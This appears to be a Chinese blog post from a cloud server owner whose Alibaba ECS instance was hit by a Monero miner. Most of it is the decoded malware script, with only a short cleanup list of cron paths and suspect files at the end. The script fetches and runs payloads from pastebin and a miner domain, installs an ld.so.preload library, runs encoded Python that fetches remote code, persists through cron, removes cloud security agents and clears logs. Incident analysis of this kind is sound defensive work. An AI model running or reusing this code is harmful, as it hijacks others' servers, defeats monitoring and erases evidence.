ECS实例被别人挖矿了，一个文件搞的鬼，猜的是经过了Base64编码了，因为计划任务中有：

*/23 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/tRxfvbYN)|sh

打开文件像是被Base64编码过的，在线通过Base64解码以后发现是个脚本：

#!/bin/bashSHELL=/bin/shPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/binfunction kills() {pkill -f sourplumpkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYgrm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ikrm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_geniusrm -rf /tmp/*index_bak*rm -rf /tmp/*httpd.conf*rm -rf /tmp/*httpd.confrm -rf /tmp/a7b104c270ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "Xbash" | awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9pkill -f biosetjenkinspkill -f AnXqV.yampkill -f xmrigDaemonpkill -f xmrigMinerpkill -f xmrigpkill -f Loopbackpkill -f apacehapkill -f cryptonightpkill -f stratumpkill -f mixnerdxpkill -f performedlpkill -f JnKihGjnpkill -f irqba2anc1pkill -f irqba5xnc1pkill -f irqbnc1pkill -f ir29xc1pkill -f connspkill -f irqbalancepkill -f crypto-poolpkill -f minexmrpkill -f XJnRjpkill -f NXLAipkill -f BI5zjpkill -f askdljlqwpkill -f minerdpkill -f minergatepkill -f Guard.shpkill -f ysaydhpkill -f bonnspkill -f donnspkill -f kxjdpkill -f Duck.shpkill -f bonn.shpkill -f conn.shpkill -f kworker34pkill -f kw.shpkill -f pro.shpkill -f polkitdpkill -f acpidpkill -f icb5opkill -f nopxipkill -f irqbalanc1pkill -f minerdpkill -f i586pkill -f gddrpkill -f mstxmrpkill -f ddg.2011pkill -f wnTKYgpkill -f deamonpkill -f disk_geniuspkill -f sourplumpkill -f bashxpkill -f bashgpkill -f bashepkill -f bashfpkill -f bashhpkill -f XbashYpkill -f libapachepkill -f qW3xT.2pkill -f /usr/bin/.sshdpkill -f sustespkill -f Xbashrm -rf /var/tmp/j*rm -rf /tmp/j*rm -rf /var/tmp/javarm -rf /tmp/javarm -rf /var/tmp/java2rm -rf /tmp/java2rm -rf /var/tmp/java*rm -rf /tmp/java*rm -rf /tmp/httpd.confrm -rf /tmp/connrm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapacherm -rf /tmp/connsrm -f /tmp/irq.shrm -f /tmp/irqbalanc1rm -f /tmp/irqrm -rf /tmp/kworkerds /bin/kworkerds /bin/config.json /var/tmp/kworkerds /var/tmp/config.json /usr/local/lib/libjdk.sorm -rf /tmp/.systemd-private-*chattr -i /usr/lib/libiacpkmn.so.3 && rm -rf /usr/lib/libiacpkmn.so.3chattr -i /etc/init.d/nfstruncate && rm -rf /etc/init.d/nfstruncatenetstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9p=$(ps auxf|grep -v grep|grep kworkerds|wc -l)if [ ${p} -eq 0 ];then    ps auxf|grep -v grep | awk '{if($3>=90.0) print $2}'| xargs kill -9fi}function system() {    if [ ! -f "/bin/httpdns" ]; then        curl -fsSL --connect-timeout 120 https://pastebin.com/raw/CnPtQ2tM -o /bin/httpdns && chmod 755 /bin/httpdns        if [ ! -f "/bin/httpdns" ]; then            wget  https://pastebin.com/raw/CnPtQ2tM -O /bin/httpdns && chmod 755 /bin/httpdns        fi        if [ ! -f "/etc/crontab" ]; then            echo -e "0 1 * * * root httpdns" > /etc/crontab        else            sed -i '$d' /etc/crontab && echo -e "0 1 * * * root httpdns" >> /etc/crontab        fi    fi}function top() {    mkdir -p /usr/local/lib/    if [ ! -f "/usr/local/lib/libdns.so" ]; then        curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1539580368x-1566688371.jpg -o /usr/local/lib/libdns.so && chmod 755 /usr/local/lib/libdns.so        if [ ! -f "/usr/local/lib/libdns.so" ]; then            wget https://master.minerxmr.ru/y/1539580368x-1566688371.jpg -O /usr/local/lib/libdns.so && chmod 755 /usr/local/lib/libdns.so        fi    fi    echo /usr/local/lib/libdns.so > /etc/ld.so.preload    touch -acmr /bin/sh /etc/ld.so.preload    touch -acmr /bin/sh /usr/local/lib/libdns.so}function python() {    nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L1ZWdDI3TGVIJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 &    touch /tmp/.pythong}function echocron() {    echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /etc/cron.d/root    echo -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /etc/cron.d/apache    echo -e "*/23 * * * *   (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /var/spool/cron/root    mkdir -p /var/spool/cron/crontabs    echo -e "*/31 * * * *   (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /var/spool/cron/crontabs/root    mkdir -p /etc/cron.hourly    curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.hourly/oanacroner && chmod 755 /etc/cron.hourly/oanacroner    if [ ! -f "/etc/cron.hourly/oanacroner" ]; then        wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.hourly/oanacroner && chmod 755 /etc/cron.hourly/oanacroner    fi    mkdir -p /etc/cron.daily    curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.daily/oanacroner && chmod 755 /etc/cron.daily/oanacroner    if [ ! -f "/etc/cron.daily/oanacroner" ]; then        wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.daily/oanacroner && chmod 755 /etc/cron.daily/oanacroner    fi    mkdir -p /etc/cron.monthly    curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.monthly/oanacroner && chmod 755 /etc/cron.monthly/oanacroner    if [ ! -f "/etc/cron.monthly/oanacroner" ]; then        wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.monthly/oanacroner && chmod 755 /etc/cron.monthly/oanacroner    fi    touch -acmr /bin/sh /var/spool/cron/root    touch -acmr /bin/sh /var/spool/cron/crontabs/root    touch -acmr /bin/sh /etc/cron.d/apache    touch -acmr /bin/sh /etc/cron.d/root    touch -acmr /bin/sh /etc/cron.hourly/oanacroner    touch -acmr /bin/sh /etc/cron.daily/oanacroner    touch -acmr /bin/sh /etc/cron.monthly/oanacroner}function tables() {    iptables -I INPUT -p TCP --dport 6379 -j REJECT    iptables -I INPUT -s 127.0.0.1 -p tcp --dport 6379 -j ACCEPT    iptables-save    touch /tmp/.tables}function uninstall() {    if ps aux | grep -i '[a]liyun'; then        wget http://update.aegis.aliyun.com/download/uninstall.sh        chmod +x uninstall.sh        ./uninstall.sh        wget http://update.aegis.aliyun.com/download/quartz_uninstall.sh        chmod +x quartz_uninstall.sh        ./quartz_uninstall.sh        rm -f uninstall.sh  quartz_uninstall.sh        pkill aliyun-service        rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service        rm -rf /usr/local/aegis*;    elif ps aux | grep -i '[y]unjing'; then        /usr/local/qcloud/stargate/admin/uninstall.sh        /usr/local/qcloud/YunJing/uninst.sh        /usr/local/qcloud/monitor/barad/admin/uninstall.sh    fi    touch /tmp/.uninstall}function downloadrun() {    ps=$(netstat -an | grep :56415 | wc -l)    if [ ${ps} -eq 0 ];then        if [ ! -f "/tmp/kworkerds" ]; then            curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1539875788x-1404792658.jpg -o /tmp/kworkerds && chmod +x /tmp/kworkerds            if [ ! -f "/tmp/kworkerds" ]; then                wget https://master.minerxmr.ru/y/1539875788x-1404792658.jpg -O /tmp/kworkerds && chmod +x /tmp/kworkerds            fi                nohup /tmp/kworkerds >/dev/null 2>&1 &        else            nohup /tmp/kworkerds >/dev/null 2>&1 &        fi    fi}function downloadrunxm() {    mkdir -p /var/tmp    chmod 1777 /var/tmp    pm=$(netstat -an | grep :56415 | wc -l)    if [ ${pm} -eq 0 ];then        rm -rf /var/tmp/config.json*        curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1539581805x1822611359.jpg -o /var/tmp/config.json && chmod +x /var/tmp/config.json        if [ ! -f "/var/tmp/config.json" ]; then            wget https://master.minerxmr.ru/y/1539581805x1822611359.jpg -O /var/tmp/config.json && chmod +x /var/tmp/config.json        fi        ARCH=$(uname -i)        if [ "$ARCH" == "x86_64" ]; then            rm -rf /var/tmp/kworkerds*            curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1539592750x-1566688347.jpg -o /var/tmp/kworkerds && chmod +x /var/tmp/kworkerds            if [ ! -f "/var/tmp/kworkerds" ]; then                wget https://master.minerxmr.ru/y/1539592750x-1566688347.jpg -O /bin/kworkerds && chmod +x /var/tmp/kworkerds            fi            nohup /var/tmp/kworkerds >/dev/null 2>&1 &        elif [ "$ARCH" == "i386" ]; then            rm -rf /var/tmp/kworkerds*            curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1539592750x-1566688347.jpg -o /var/tmp/kworkerds && chmod +x /var/tmp/kworkerds            if [ ! -f "/var/tmp/kworkerds" ]; then                wget https://master.minerxmr.ru/y/1539592750x-1566688347.jpg -O /bin/kworkerds && chmod +x /var/tmp/kworkerds            fi            nohup /var/tmp/kworkerds >/dev/null 2>&1 &        else            rm -rf /var/tmp/kworkerds*            curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1539592750x-1566688347.jpg -o /var/tmp/kworkerds && chmod +x /var/tmp/kworkerds            if [ ! -f "/var/tmp/kworkerds" ]; then                wget https://master.minerxmr.ru/y/1539592750x-1566688347.jpg -O /bin/kworkerds && chmod +x /var/tmp/kworkerds            fi            nohup /var/tmp/kworkerds >/dev/null 2>&1 &        fi    fi}mkdir -p /tmpchmod 1777 /tmpupdate=$( curl -fsSL --connect-timeout 120 https://pastebin.com/raw/SSCy7mY7 )if [ ${update}x = "update"x ];then    echocronelse    if [ ! -f "/tmp/.uninstall" ]; then        uninstall    fi    if [ ! -f "/tmp/.tables" ]; then        tables    fi    if [ ! -f "/tmp/.pythong" ]; then        rm -rf /tmp/.pythonf        python    fi    kills    downloadrun    echocron    system    top    sleep 10    port=$(netstat -an | grep :56415 | wc -l)    if [ ${port} -eq 0 ];then        downloadrunxm    fi    echo 0>/var/spool/mail/root    echo 0>/var/log/wtmp    echo 0>/var/log/secure    echo 0>/var/log/cronfi#

通过检查系统计划任务和DNS配置文件彻底解决，相关目录：

/etc/cron*/var/spool/cron/root```可能存在异常文件：```bash/usr/local/lib/libdns.so/etc/ld.so.preload/bin/dns/usr/sbin/netdns/etc/init.d/netdns（ /etc/rc.d/init.d/netdns）

另外清空/tmp目录。